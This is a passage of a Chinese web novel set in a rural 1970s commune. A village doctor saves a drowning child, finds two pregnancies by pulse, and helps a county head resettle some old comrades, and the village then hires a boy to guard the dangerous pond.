“小月姑姑!快!二蛋……二蛋他不会水!” 张小月的脸色心猛地揪紧。 她一眼望去,只见浑浊的池水中央,一个小小的身影正在无力地扑腾,眼看就要沉下去! 就在她脑子一片空白,不知所措的瞬间,身边的江沐已经动了。 他甚至来不及脱掉身上的衣服和鞋子,几乎是没有任何犹豫,一个猛子就扎进了冰凉的池水里! “江沐!”张小月失声惊呼,心跳到了嗓子眼。 江沐根本没时间回应。 他前世在医学院时,为了锻炼体能,系统地学过游泳和急救。 此刻,他凭借着肌肉记忆,飞快地朝着那个挣扎的身影游去。 池水冰冷刺骨,混着泥沙,呛得人睁不开眼。 江沐屏住呼吸,一把抓住了那孩子纤细的胳膊,用尽全力将他往岸边拖。 不过几十秒的功夫,在岸上众人看来却像一个世纪那么漫长。 终于,江沐拖着一个浑身沾满污泥、脸色青紫的孩子上了岸。 那孩子已经彻底昏迷,嘴唇发黑,没了呼吸。 “二蛋!二蛋!”岸上的孩子们哭得更凶了。 张小月也吓得浑身发抖,眼泪不听使唤地往下掉。 江沐却异常冷静,他将孩子平放在地上,迅速清理掉他口鼻中的污物,随即跪在一旁,双手交叠,精准地按压在孩子的胸口。 一下,两下,三下…… 他的动作标准而有力,每一次按压都带着决心。 紧接着,他俯下身,捏住孩子的鼻子,对着他的嘴巴吹气。 周围的孩子们都看傻了,他们哪里见过这种救人的法子? 就在这时,听到哭喊声的村民们扛着锄头、拿着长杆匆匆赶来,领头的正是二蛋的爹娘。 “我的儿啊!”二蛋娘看到躺在地上一动不动的儿子,腿一软,当场就瘫倒在地。 “江沐同志,这……”一个村民刚想开口询问,却被眼前的一幕惊得说不出话来。 就在江沐又一次吹气后,那孩子吐出几大口浑浊的泥水,随即发出了微弱而沙哑的哭声。 活了! 竟然真的救活了! 整个涝池边先是一阵寂静,随即爆发出震天的欢呼声。 “神了!真是神了!” “江医生真是华佗在世啊!” 二蛋的爹娘反应过来,连滚带爬地扑到江沐面前,“扑通”一声就跪下了,磕头如捣蒜。 “江医生,您就是我们家的大恩人!我们给您做牛做马报答您啊!” 【来自二蛋父母的感激,声望值+50!】 【来自村民的敬佩,声望值+150!】 江沐的脑海中闪过系统的提示音,他却无暇顾及,只是伸手将二人扶起。 “快别这样。赶紧把孩子抱回去,烧一锅浓浓的姜汤灌下去,好好暖暖身子,别落下病根。” 他交代完,便拉着惊魂未定的张小月,在众人千恩万谢的目光中,悄然离开了人群。 到了张峰家院门口,江沐浑身上下还在滴着水,狼狈不堪。 正在院里喂鸡的刘桂芝听到动静一抬头,吓了一大跳。 “我的老天爷!这是咋整的?小江你掉河里了?” 她急得团团转,赶紧把江沐推进屋,手脚麻利地从柜子里翻出张峰一套干净的旧衣服。 “快,快换上,这天还有点凉,可别冻着了!” 张小月一边帮着江沐拧干头发,一边心有余悸地把刚才救二蛋的事说了。 刘桂芝拍着胸口,脸上满是后怕。 “哎哟喂,你们俩可真是吓死我了!那涝池刚挖的,底下全是烂泥,多悬啊!” 她拉着张小月的手,上下打量,“你没事吧?没吓着吧?” 张小月摇摇头,脸上泛起一抹幸福的红晕,她凑到刘桂芝耳边,低声将自己怀孕的喜讯说了出来,末了还加了一句。 “妈,江沐给我把过脉了,说是个闺女呢。” “啥?!”刘桂芝的眼睛瞬间瞪得溜圆,后怕的情绪一扫而空,取而代之的是巨大的狂喜。 她一把抓住张小月的手,声音都拔高了八度,“真的?我的老天爷,这可是天大的好事啊!快坐下,快坐下!以后可得当心点,不能再受这种惊吓了!” 正说着,在外面串门的张峰听闻江沐落水,火急火燎地冲了回来。 “小江,你没事吧?”他看到江沐已经换上自己的衣服,只是脸色有些苍白,这才松了口气。 刘桂芝一把将他拉过来,喜不自禁地嚷嚷。 “当家的,天大的喜事!小月有了,咱们要当姥姥姥爷了!” 张峰先是一愣,随即那张黝黑的脸上绽放出笑容,他激动得搓着手,在原地转了两圈,猛地一拍大腿。 “杀鸡!必须杀鸡!今天说什么也得把我那只最肥的老母鸡给炖了,给小月好好补补!” 快到晌午,院门开了,林秋红牵着张小虎从县里回来,林秋红手里还拎着一个布包。 “小月,你们怎么来了?”林秋红看到张小月,笑着打招呼。 张小月拉过她,好奇地问。“嫂子,你去县里扯布了?” “嗯。”林秋红打开布包,露出里面崭新的蓝布,“给咱爹咱娘扯的,一人做身新衣裳。” 两个女人便凑到屋里,就着光亮看那布料。 张小月趁机把怀孕的事也告诉了林秋红。 林秋红眼底闪过羡慕,随即又化为淡淡的失落,她摸了摸自己平坦的小腹,幽幽一叹。 “真好啊小月。也不知道我这肚子啥时候能有个动静。” 饭菜的香气很快飘满了院子。 张峰亲自掌勺,炖了一大锅鸡汤。 饭桌上,张小虎看着碗里金黄油亮的鸡腿,再看看自己爹娘碗里的鸡杂,立刻不满了,撅着嘴嚷嚷。 “爹你偏心!我前天想吃个煎鸡蛋你都舍不得,姐姐一回来你就杀鸡!” 张峰眼睛一瞪,还没开口,刘桂芝就笑着拧了一把儿子的脸蛋。 “你姐姐肚子里有小妹妹了,当然得吃好的!” 张峰则板起脸,声音严肃了几分。 “你还敢提!今天村口的二蛋差点淹死在涝池里,就是你姐夫给救上来的!我警告你,以后再敢去那涝池边疯跑,看我怎么收拾你!” 张小虎吓得缩了缩脖子,再不敢多嘴,乖乖地啃起了鸡腿。 到了下午,太阳暖洋洋的,江沐换下的衣服也晒干了。夫妻俩收拾妥当,准备回家。 临走时,张小月拉了拉江沐的衣袖,悄悄看了一眼正在收拾碗筷的林秋红,压低了声音。 “你看……能不能也给嫂子号号脉?她心里也一直惦记着呢。” 第157章 有一件私事,想请你帮个忙 江沐淡然一笑,“嫂子,坐下吧,我给你看看。” 林秋红听话地在凳子上坐下,紧张地伸出手腕,连呼吸都下意识地屏住了。 张峰和刘桂芝也瞪大了眼睛,一眨不眨地盯着江沐搭在林秋红腕上的手指,心都提到了嗓子眼。 片刻后,江沐收回手, “嫂子,恭喜了,你这也是喜脉。” 林秋红猛地一颤,像是没听清,又像是不敢相信,嘴唇哆嗦着,半天没说出话来。 刘桂芝已经激动地抓住了她的胳膊,声音都变了调。 “小江,你、你没看错吧?她这……真的有了?” 江沐点点头,“不但有了,而且是个带把的。月份不浅,已经快三个月了,胎像稳得很,康健着呢。” “老天爷开眼了!”刘桂芝再也忍不住,一把抱住还没回过神的林秋红,眼泪流下来了,那是喜悦的泪水。 张峰这个七尺高的汉子,眼眶瞬间通红。 他愣在原地,那张黝黑的脸膛上,肌肉因为极致的激动而微微抽搐。 他看看自己的媳妇,又看看江沐,嘴巴张了几次,猛地一拳砸在身旁的桌子上! “好!好啊!” 他语无伦次,一把将还在哭的刘桂芝和呆滞的林秋红一起揽进怀里,一家三口就这么抱头痛哭起来,整个院子都回荡着他们压抑许久的狂喜。 好半天,刘桂芝才抹着眼泪,拉着江沐的手,感激得不知如何是好。 “小江,秋红她身子骨弱,你快,快给她开点安胎的药,得好好保着!” 江沐却摆了摆手,神色郑重。 “妈,不用。我刚才探过脉了,母子都很康健。是药三分毒,药补不如食补。往后让她吃好点,多歇着,少干重活,比什么都强。” 他这番话带着自信,瞬间就让刘桂芝吃了一颗定心丸。 …… 告别了张峰一家,江沐和张小月并肩走在回家的路上。 夕阳将两人的影子拉得很长,一切都显得那么静谧而美好。 然而,刚踏进自家院门,江沐的脚步就顿住了。 院内的石桌旁,赫然坐着两个人。 为首的一位穿着一身整洁的干部装,面容方正,眉宇间带着一股不怒自威的气势,正是沈焱。 他身旁还站着一个半大的少年,眉眼间与他有几分相似,想来就是他的亲戚。 “沈县长?”江沐有些意外。 沈焱听到声音,立刻站起身,脸上露出了爽朗的笑容,大步迎了上来。 “江沐同志,冒昧来访,没打扰到你们吧?” 江沐连忙摆手,脸上也浮现笑意。 “哪里的话,您能来,我这院子都蓬荜生辉了。沈县长,恭喜您把那个副字给摘了,我跟小月前两天还念叨着,说该抽空去县里给您道贺呢。” 一番寒暄,透着熟稔。 沈焱拍了拍江沐的肩膀,示意他坐下,神情也随之严肃了几分。 “江沐同志,客套话咱们就不多说了。我这次来,有一件私事,想请你帮个忙。” “您尽管开口。”江沐神色一正。 他知道,能让一县之长亲自登门,这事绝对小不了。 沈焱叹了口气,眉宇间染上凝重。 “是我父亲的一位老战友。早些年在战场上,救过我父亲的命。这些年……因为一些原因,在京城那边待不下去了。前几天他给我父亲打了电话,想找个清静的乡下地方落脚。我父亲别的没说,就一句话,让我无论如何得把人安顿好。” 沈焱的目光变得恳切起来。 “这位周叔叔,当年对我也是多有照拂。我想来想去,咱们邹县最让我放心的,就是你们青莲公社二大队了。所以,我想把他安排到你们队上,以后……还想请你帮着照拂一二。” 原来是这事。 江沐心中了然。 这年头,这种事并不少见。 他沉吟片刻,便干脆地点了头。 “沈县长您放心,人来了,我肯定会尽力关照。不过……” 他话锋一转,神情变得严肃。 “我只是个大夫,人微言轻。这落户的大事,还得我们大队的高书记和李队长点头才行。没有他们的批条,公社那边也通不过。” “这个我懂!”沈焱立刻接口,眼中闪过赞许。 江沐这番话,既表明了态度,又守住了本分,滴水不漏。 “我正要去找他们!江沐同志,劳烦你给指个路?” “哪能让您亲自跑一趟。”江沐笑着站起身,“您在这儿稍坐喝口水,我去把高书记和李队长给您请过来。” “江沐哥,你们聊,我去喊人。”不等江沐迈步,一旁一直安静听着的张小月便主动开口。 她拎起暖水瓶给沈焱的茶缸续上水,动作麻利又妥帖。 看着妻子离去的背影,江沐眼中闪过一丝暖意。 张小月脚程快,不多时就在大队部的田埂上截住了正要回家的李有柱和高志强。 “小月啊,啥事儿啊这么急,火急火燎的?”李有柱扛着锄头,一脸的疑惑。 高志强也投来询问的目光。 张小月神秘一笑,故意卖了个关子。 “姑父,高书记,是我家江沐请你们过去一趟,有要紧事商量。” “你家江沐?”李有柱更好奇了,“他能有啥要紧事?” “哎呀,你们去了就知道了。”张小月催促着,“快走吧,贵客还等着呢。” 两人被勾起了好奇心,只好跟着张小月快步朝江沐家走去。 一进院子,当李有柱和高志强看到石桌旁那个气度不凡的身影时,两个人都愣住了。 李有柱扛在肩上的锄头都差点滑下来。 这不是……这不是县里的沈县长吗! 他之前在公社开大会的时候,远远地见过一面! 江沐适时地站起身,笑着为双方引荐。 “沈县长,这位是我们的高志强高书记,这位是李有柱李队长。” 他又转向高、李二人。 “书记,队长,这位是咱们邹县的沈焱,沈县长。” 高志强还好,毕竟是书记,见过些场面,只是神情拘谨了不少。 而李有柱则彻底慌了神,他赶紧放下锄头,在裤腿上使劲蹭了蹭满是泥土的手,搓着那双满是老茧的大手,脸上堆着局促又讨好的笑。 “沈……沈县长!我叫李有柱,是二大队的队长!我……我见过您!” 沈焱温和地站起身,主动伸出手,丝毫没有官架子。“老哥,别紧张,坐下说。” 第158章 拿着钱,办事也方便 高志强还好些,拉过一条板凳,只坐了半个屁股,腰杆挺得笔直。 李有柱则显得愈发局促。 沈焱没有兜圈子,开门见山。 “我这次来,是有一件私事,想拜托二位。” 李有柱心里慌了一下,县长亲自上门拜托事?这可是天大的事儿! “沈县长您可别这么说,有啥事您尽管吩咐,我们保证给您办得妥妥帖帖的!” 沈焱叹了口气,语气里带上了几分沧桑。 “是我父亲的几位老战友,都是从战场上一起下来的过命交情。如今上了年纪,身体也不大好,想找个山清水秀的地方,安度晚年。” 他的眼神变得恳切起来,直视着两人。 “我想来想去,咱们整个邹县,就数你们青莲公社二大队最让我放心。” 原来是这事! 李有柱和高志强对视一眼,都松了口气,但随即,新的难题又涌上心头。 李有柱是个直肠子,藏不住话,他苦着脸,面露难色。 “沈县长,这……这事儿是好事,我们肯定欢迎。可、可我们队上……实在是没多余的空房子了啊!” 这确实是最大的难题。 沈焱似乎早料到会有此一问,他神色不变,从随身的公文包里,不紧不慢地摸出一个用手帕仔细包裹着的东西,轻轻放在石桌上。 手帕一层层打开,露出里面的钱。 “这里是三百块钱。”沈焱的声音不大,“李队长,你拿着这笔钱,在村里打听打听,看看有没有哪家愿意把没人住的老房子、旧院子给匀出来,哪怕破点也没关系,咱们自己修缮。” 三百块! 沈焱再次伸手入包,这次掏出了两沓薄一些的钱,他直接将两沓钱分别推到高志强和李有柱的面前。 “高书记,李队长,我知道这事难办,要让你们费心了。这是一点辛苦钱,一人一百,你们务必收下,以后几位老人家的生活,方方面面,都要仰仗你们多多关照。” “使不得!使不得!”高志强和李有柱猛地站起身,连连摆手,把钱往回推。 江沐在一旁适时地开了口,“书记,队长,沈县长是一片心意。你们就收下吧,这事确实要你们多费神,往后跑腿的地方还多着呢。拿着钱,办事也方便。” 他这话给了两人一个台阶下。 沈焱也顺势道。 “江沐同志说得对。这不是给你们个人的,是让你们用来办事的。收下!” 高志强和李有柱对视一眼,最终在沈焱强大的气场下,颤抖着手,将那一百块钱收进了口袋。 见他们收了钱,沈焱的脸上才重新露出笑容。 他又从包里掏出厚厚一叠票证,有粮票、布票、工业券,甚至还有几张稀罕的自行车票和缝纫机票。 “这些票你们也拿着。买房剩下的钱,再加上这些票,给老人家们添置些锅碗瓢盆、桌椅板凳,再扯几身新衣裳,务必把生活安排妥当。” 安排得如此周到,让李有柱和高志强感动得无以复加。 沈焱站起身,目光郑重地看着他们,抛出了最后一个,也是最重磅的承诺。 “今天这事,算我沈焱,欠你们二位一个人情,以后你们家里,无论是孩子想参军,还是想在县里找个工作,只要是我沈焱能力范围之内,绝不推辞!” 这话比刚才那五百块钱的冲击力还要大上百倍! 在这个时代,一个县长的人情,一个参军或工作的名额,那意味着什么?那意味着一个家庭,甚至一个家族命运的改变! 这一下,他们心里再没有任何为难,只剩下要把事情办好的决心! 沈焱又转头和江沐客套了几句,随后便带着外甥告辞离开,没有丝毫拖泥带水。 院子里,只剩下江沐和依旧处在巨大震撼中的高、李二人。 直到沈焱的背影消失在院门口,李有柱才长长地吐出一口浊气,他摸着口袋里那沉甸甸的一百块钱,脸上涌上担忧。 “江沐啊……你说,这沈县长的来头……会不会有啥问题?这几位老人,身份这么特殊,万一……万一要是被人拿去做文章,举报上去,咱们会不会受牵连?”他的声音里透着后怕。 高志强也一脸凝重,显然有同样的顾虑。 江沐却淡然一笑,给他们续上茶水。 “姑父,高书记,你们就按平常心对待。你想想,沈县长既然敢光明正大地把人安排到咱们这儿,就说明他根本不怕人查,更不怕人举报。咱们只要把人照顾好,就是天大的功劳。” 他顿了顿,深邃的眸子看向远方。 “而且,能和沈县长这样的人走得近一些,对咱们二大队,对你们个人,将来只有好处,没有坏处。” 江沐的话瞬间打消了两人最后的疑虑。 “你说得对!”李有柱一拍大腿,“我这就去找人问房子的事去!保证给办得漂漂亮亮的!” 高志强也重重点头,二人立刻离开。 送走了他们,江沐这才转身回屋,拿起沈焱临走时留下的一个网兜。 里面除了两条大前门和一瓶汾酒外,还有一个铁皮盒子和一罐麦乳精。 麦乳精可是好东西,孕妇喝了最补身子。 江沐的目光落在那方方正正的铁皮盒子上,打开一看,里面是一块块巧克力。 这玩意儿在这个年代,可是比麦乳精还稀罕的洋玩意儿。 正想着,张小月从里屋走了出来,看到桌上的东西,好奇地凑上前。 “江沐哥,这是沈县长拿来的?” “嗯。”江沐拿起麦乳精和巧克力,递到她面前,眼含笑意。 “这两个是专门给你的。” “给我?”张小月接过麦乳精,高兴得眼睛都眯了起来,这可是金贵玩意儿。 但看到那铁皮盒子里的东西,她却愣住了。 “这是啥呀?黑乎乎的,能吃吗?” 江沐轻笑一声,拆开一小块巧克力的油纸,递到她嘴边。“这是外国传来的糖,叫巧克力,你尝尝。” 张小月犹豫了一下,还是张开小嘴,轻轻咬了一口。 一股香醇丝滑、带着微微苦涩的浓郁甜味瞬间在她的味蕾上炸开。 她瞪大了眼睛,那副又惊又喜的模样,可爱极了。 “唔……好吃!太好吃了!”她含糊不清地赞叹着,脸上洋溢着从未有过的幸福感。 可随即,她又包了起来。 “江沐哥,这东西太金贵了,咱们得留着,等以后娃生下来给他吃!” 看着她这副舍不得的模样,江沐心中一暖,又有些好笑。 “傻丫头,想吃就吃,吃完了我再给你弄。你忘了,我跟沈县长关系好着呢,以后让他帮忙捎两盒,还不是一句话的事儿?” 听到这话,张小月才放下心来,但还是有些犹豫。 “可……可我爹妈他们都还没吃过这么好的东西呢。” 江沐闻言,心中更是柔软。 他将整个铁盒都塞到她怀里,语气里满是宠溺。 “那就给他们送去,想给谁吃就给谁吃!” 第159章 你家来了好多好多人 张小月抱着那个精美的铁皮盒子,脸颊泛着幸福的红晕。 她掰着手指头,小声地盘算起来。 “爹妈肯定要给两块,小虎正是长身体的时候,嘴也馋,给他留四块……” 看着她那副认认真真、恨不得把一块巧克力掰成八瓣分的样子,江沐觉得又好笑又心疼。 “好了好了,都听你的。”江沐笑着打断她的计算,拧开那罐麦乳精,“先喝点这个,补补身子。” 一股浓郁的奶香味和甜味混合的气息扑面而来,江沐用搪瓷缸子冲了两杯,递给张小月一杯。 张小月接过,小心翼翼地吹了吹,喝了一小口,眉头却不自觉地皱了起来。 江沐也尝了一口,味道让他也有点适应不来。 两人对视一眼,都从对方眼里看到了同款的嫌弃。 “这……还没刚刚那黑糖块好吃呢。”张小月吐了吐舌头。 江沐失笑,他端起两人的杯子,走到院子里,虎虎和生威两只大狼狗立刻摇着尾巴凑了上来。 他将两杯麦乳精分别倒进了它们的食盆里,两个小家伙立刻伸出舌头,舔得不亦乐乎。 张小月看着直乐,又把那罐麦乳精盖好,“这个给小虎喝吧,男娃子肯定喜欢这甜味儿。” 话音刚落,院门口就探进来一个脑袋,是李喜凤。 “小月姐,在家呢?” “喜凤,快进来!”张小月连忙热情地招呼。 张小月拉着她坐下,打开巧克力盒子,捏了两块塞到她手里。 “喜凤,尝尝这个,洋玩意儿,叫啥……巧克力!” 李喜凤看着手里黑乎乎的东西,满眼都是好奇,学着张小月的样子咬了一小口。 下一秒,醇厚丝滑的甜香让她整个人都愣住了。 “天爷!这是啥糖啊?咋这么好吃!”李喜凤的脸上写满了震惊。 “好吃吧!”张小月得意地扬了扬下巴,又麻利地给李喜凤冲了一杯麦乳精,“再喝点这个,也是好东西!” 李喜凤这次有了经验,喝了一口,眼睛又亮了。 “这看来这麦乳精,还是有人欣赏的。 张小月见她喜欢,心里高兴,转身就去拿那整罐的麦乳精要塞给她。 “哎!小月姐你这是干啥!”李喜凤吓了一跳,赶紧推辞,“这金贵东西我尝尝就得了,哪能拿你一整罐!” “你就拿着!我江沐哥说了,以后还会有!”张小月不由分说,硬是把那罐麦乳精塞进了李喜凤的怀里。 送走了千恩万谢的李喜凤,江沐去自留地里转了一圈,这才不紧不慢地朝着大队部走去。 还没进门,就听见里面传来李有柱那标志性的大嗓门,充满了亢奋。 “……有才,你可想好了啊,白纸黑字,按了手印,这院子可就跟你们老刘家没关系了!” 江沐一脚踏进门,只见李有柱和高志强正围着一张桌子,桌子对面坐着一个男人,正是队上的刘有才。 桌上铺着一张写了字的纸,旁边还放着一个鲜红的印泥盒子。 “江沐来了!”高志强抬头看见他,笑着打了个招呼。 李有柱更是兴奋地一拍桌子。 “来得正好!你瞧瞧,房子搞定了!就刘有才他家那个老宅子,一百八十块钱!” 一百八十块! 这价钱在村里绝对是天价了! 刘有才正准备伸出手指去按手印,大队部的门却被人从外面撞开! 一个和刘有才长得有七分像,但身形更壮实的汉子怒气冲冲地闯了进来,一把按住刘有才的手。 “刘有才!卖祖宅这么大的事,你敢不跟我商量?!”来人正是刘有才的亲哥哥,刘有学。 屋里的气氛瞬间凝固。 李有柱和高志强的脸一下子就沉了下来。 “刘有学?你来干啥!”李有柱的眉头拧成了个疙瘩,“我们跟有才买房子,关你啥事?” 高志强也懵了,他转向刘有才,语气里带着质问。 “有才,你不是说这老宅子当初分家的时候,就分给你一个人了吗?” 刘有学呸了一口,眼睛通红地指着弟弟的鼻子。 “分给他?放屁!当初爹娘走得早,就留了这么个院子,咱俩谁也争不过谁,最后说好了,谁都不住,院子就空在那儿!要是谁想住,就得给对方钱!” 刘有学眼睛一瞪,直接把矛头对准了李有柱。 “李队长,你们到底给了多少钱?” 李有柱心里窝着火,但还是沉声应了一句。“一百八!” “一百八?!”刘有学的呼吸瞬间粗重,眼里的贪婪几乎要溢出来。 他不再跟弟弟争辩,直接宣布结果。 “行!那这钱,咱俩一人一半!一人九十!” “凭什么!”刘有才尖叫起来,“这买家是冲着我来的!要不是我点头,一分钱都没有!我拿一百,你拿八十!” “你想得美!今天必须对半分,少一分都不行!” 眼看着兄弟俩就要为分钱的事在队部里打起来,李有柱的耐心终于耗尽了。 “够了!” 他一把抓起桌上的那份合约,在刘家兄弟俩惊骇的目光中,直接撕成了两半,狠狠地摔在地上! “不买了!你们俩自个儿回家争去吧!争明白了再来!整个二大队,还就不信找不到一处空院子了!” 这一手,直接把刘家兄弟俩给镇住了。 他们吵归吵,但心里都明白,错过这个村,可就没这个店了! 除了大队,谁会花一百八十块钱买他们那个快塌了的破院子? 刘有才最先慌了,他结结巴巴地开口。 “别……别啊队长……” 刘有学也瞬间怂了,一百八十块钱的诱惑太大了。 “队长,您别生气……我们不吵了,不吵了……就按我说的,一人一半!” 刘有才满心不甘,但在李有柱冰冷的眼神注视下,也只能垂头丧气地点了头。 “哼!”李有柱又重新拿了纸笔,当着所有人的面,写了一份新的合约。 他把合约拍在桌上,扫过刘家兄弟俩。 “看清楚了!这上面写得明明白白,院子归大队所有,钱货两清!谁要是敢再来找麻烦、耍无赖,别怪我李有柱翻脸不认人!” 兄弟俩哪还敢有二话,抢着上前按了手印。 村里没有不透风的墙。 李有柱花了一百八十大洋买了刘家老宅的消息,不到半天就传遍了整个青莲公社二大队。 村民们在田间地头议论纷纷,都在猜测这院子到底是要给谁住,能让大队长下这么大的血本。 第二天,江沐正在新收拾出来的卫生室里整理草药。 突然,一个七八岁的小男孩火急火燎地冲了进来,跑得上气不接下气,满脸通红。 是赵文的儿子。 “江……江沐叔!” “慢点说,不着急。”江沐放下手里的草药,给他倒了杯水。 他也顾不上喝水,指着江沐家的方向,急促地喊了起来。 “你……你家!你家来了好多好多人!” 第160章 这涝池,就是个阎王殿! “啥玩意儿?!” 李有柱从椅子上弹起来,眼里凶光毕露,顺手就抄起了墙角的一根顶门杠。 “反了天了!哪个不长眼的敢去江沐家闹事?当我李有柱是死的?!” 高志强也被吓了一跳,但比李有柱要冷静得多,他连忙拦住提着棍子就要往外冲的李有柱。 “老李你先别冲动!问清楚了再说!” 江沐的反应却最是平静,他在这村里,除了救人,没得罪过谁。会是谁? “走,去看看。” 他声音沉稳,率先迈步而出。 李有柱见状,提着顶门杠,满脸煞气地跟在后面,那架势,不像去劝架,倒像是要去抄家。 三人脚下生风,没几分钟就赶到了江沐家的小院门口。 然而,预想中鸡飞狗跳、吵嚷不休的场面并未出现。 院门口确实围着不少人,但个个都伸长了脖子往里瞧。 院子里,站着七八个面孔陌生的村民,一个个局促不安,手里都提着东西,有鸡蛋、有红薯干,甚至还有一只捆着腿的老母鸡。 张小月正站在院子中央。 李有柱一看这架势,愣住了。 这哪里是来闹事的,分明是来送礼的! 他提着顶门杠,一时间有些尴尬。 “一大队的?”他认出了其中几个脸熟的。 人群中一个中年汉子看到江沐,眼睛瞬间就红了,激动得嘴唇都在哆嗦。 他身边还跟着一个怯生生的婆娘和一个看起来有些瘦弱的半大孩子。 “江大夫!江大夫您回来了!” 汉子三步并作两步冲上来,还没等江沐反应过来,就要往下跪! 江沐眼疾手快,一把将他扶住,眉头微蹙。 “有话好好说,这是做什么?” “江大夫!”那汉子身后的婆娘也哭着围了上来,指着那个半大的孩子,声音哽咽,“您是我们家二蛋的救命恩人啊!要不是您,我们家二蛋……我们家二蛋早就没命了!” 二蛋?江沐这才想起来,前些日子确实从村口的涝池里捞起来一个溺水的孩子,当时情况紧急,他随手施救,过后就没放在心上。 没想到,这一家子竟然找到了这里。 原来,是张二蛋的爹娘带着一家子亲戚,特地从一大队赶过来,就为了当面给江沐磕个头,道声谢! 李有柱在一旁听明白了前因后果,脸上那股子煞气瞬间烟消云散,取而代之的是一阵后怕。 这涝池,就是个阎王殿! 这张二蛋是命大,遇上了江沐。 要是没遇上呢?又是一条人命! 不行,这事儿不能再这么稀里糊涂下去了! 张二蛋一家千恩万谢,硬是把那只老母鸡塞进了张小月怀里,才一步三回头地走了。 院子里清净下来,张小月的老爹张峰才从人群里走出来,脸上带着几分自豪,又有些不好意思。 “爹,你咋也来了?”张小月惊喜地迎上去。 张峰憨厚地笑了笑。“我听一大队的人说要来谢你家男人,就跟着过来看看。” 张小月心里甜滋滋的,转身就跑进屋里,献宝似的抱出了那罐麦乳精和那盒巧克力,又从床底下摸出一条香烟和一瓶西凤酒,一股脑儿地塞给张峰。 “爹,这些你都拿着!” 张峰一看这阵仗,吓得连连后退。 “使不得!使不得!小月你疯了!这么多金贵东西,我哪能要!江沐回头不得跟你吵翻天?” 他生怕女婿觉得自家是来打秋风的,坏了女儿的夫妻情分。 “爹,你说的啥话!”张小月把东西硬塞进他怀里,下巴一扬,满脸都是骄傲。 “这都是江沐特意让我给你留的!他孝敬您老的!” 江沐在一旁适时地点了点头,温和地开口。 “爹,您就收下吧,都是些不值钱的小东西。” 张峰看着眼前的好烟好酒,又看看一脸真诚的女婿,眼眶一热,心里最后那点担忧也彻底放下了。 送走了老丈人,江沐跟着李有柱和高志强回卫生室。 路上,李有柱的脸一直黑着,显然还在为涝池的事儿心烦。 “不行!涝池那儿必须得安排个人看着!一天到晚,就守在那儿!不然迟早还得再出事!” 高志强点了点头,深以为然。 “是得找个人。可找谁呢?这活儿不累,但忒熬人,给的工分少了没人干,给多了……队上其他人肯定有意见。” 这确实是个难题。 高志强嘬着牙花子,沉思了半晌,眼睛突然一亮。 “有了!你看林小强家那个二小子,林卫,行不?” 李有柱一愣,随即一拍大腿。 “对啊!我咋把他给忘了!” 江沐对这人没什么印象。 高志强解释起来。 “林小强家是队里最困难的一户。他婆娘常年吃药,是个填不满的药罐子。大儿子脑子不成,生活都不能自理。就这个二儿子林卫,人是木讷了点,不爱说话,但交代他的事,从来都办得妥妥帖帖,而且会水!让他去看涝池,一年给他六百个工分,既解决了涝池的安全问题,也等于给他们家扶贫了!一举两得!” “就这么定了!”李有柱办事向来干脆利落,“走,现在就去他家问问!” 三人说干就干,转身就朝着村西头的林小强家走去。 林小强家比村里大多数人家都要破败,土坯墙上裂着好几道大口子,院墙都塌了半边。 江沐他们到的时候,林小强正蹲在院子里,带着一个看起来呆呆傻傻的半大少年,整理着一堆刚挖回来的草药。 看到队长、高志强和江沐这三个人,林小强立刻询问。 “队长?高书记?江大夫?你们咋来了?” 李有柱懒得绕弯子,开门见山。“小强,队里有个活儿,想让你家林卫去干。” 他指了指村口涝池的方向。 “就那儿,看着,别让娃子们下水。一天到晚,风雨无阻。队里一年给他记六百个工分,你愿意不?” 六百个工分?! 林小强整个人都懵了,一年六百个工分,那差不多是一个壮劳力全年的收入了! 就……就只是看着个池子? 他激动得嘴唇发抖,担忧问道,“队长……就看个池子,啥力气都不出,给……给这么多工分,村里人……村里人不得戳我脊梁骨啊?” “他娘的谁敢!”李有柱眼睛一瞪,那股子蛮横劲儿又上来了。 “这是我和你高叔商量定的!有意见让他们来找我李有柱!我就问你,你干不干?” “干!干!咋不干!”林小强连连点头,生怕李有柱反悔似的。 李有柱这才满意地点了点头,把目光转向那个从头到尾都一声不吭,只是愣愣地看着他们的少年。 “林卫,你呢?有意见没?” 林卫茫然地眨了眨眼,只是呆呆地看着他爹。 林小强急得推了他一把。“队长问你话呢!” 看着少年那双清澈但空洞的眼睛,江沐心里微微一叹,走上前,用最简单直白的话,温和地对他解释。 “林卫,就是让你啊,以后没事的时候,就去村口那个大水池子边上坐着。看到有小孩儿去玩水,你就冲他们喊一声,让他们回家去。听明白了吗?” 第161章 打坏了,爹给你担着 林卫像是琢磨了好一会儿,才重重地点了点头。 “嗯!” 一个单音节,却让林小强悬着的心彻底落了地。 他感激地看了江沐一眼。 事不宜迟,林小强转身就从自家那快散架的屋檐下,拖出一条瘸了一条腿的小板凳,又从屋里拿了件破旧的褂子,拉着林卫就往涝池边走。 到了涝池边,他把板凳放稳,仔仔细细地叮嘱:“卫子,你就坐这儿。记着爹的话,眼睛看好咯,不让娃们下水,你自己,也千万不能下去!听见没?” 林卫坐在小板凳上,腰杆挺得笔直,他再次用力点头,声音比刚才清晰了许多。 “嗯!挣工分,给娘买药。” 林小强听着儿子这句念叨了无数遍的话,眼眶一酸,转过身去,用粗糙的手背飞快地抹了一下眼睛,这才大步流星地回了家。 下午的日头正毒,几个半大孩子赤着脚,嚷嚷着就朝涝池这边跑来,一门心思想下水摸鱼解暑。 林卫看见他们,立刻从板凳上站了起来,张开双臂拦在他们面前,嘴里重复着江沐教他的话:“回家去!不能玩水!” 领头的那个黑小子叫王二狗,是村里有名的混世魔王。 他上下打量了一下林卫,嗤笑一声:“傻子,你管得着吗?滚开!” 林卫不让,只是固执地摇着头,重复着那句:“回家去!” “嘿!给你脸了是吧!”王二狗被驳了面子,脸上挂不住,随手从地上抄起一块泥巴,朝着林卫就砸了过去。 “泥块在林卫胸口炸开,留下一个脏兮兮的印子。 其他的孩子也跟着起哄,捡起石子和泥块朝他扔。 林卫被打得生疼,却一步也不退,只是用手臂护住头。 他不懂得还手,更不懂得为什么这些人要欺负他。 委屈和疼痛一起涌上来,他当场就哭了出来,眼泪混着脸上的泥土,流下两道清晰的泪痕。 这事儿传得比风还快。 李有柱正蹲在大队部盘算着秋收的事,听闻林卫被欺负哭了,手里的烟杆拍在桌上,火星子四溅。 “他娘的!反了天了!” 他那股子蛮横劲儿瞬间就顶了上来,二话不说,抄起门后那根熟悉的顶门杠,杀气腾腾地就冲了出去。 高志强想拦都拦不住,只能苦笑着跟在后面。 李有柱拎着棍子,挨家挨户地找。 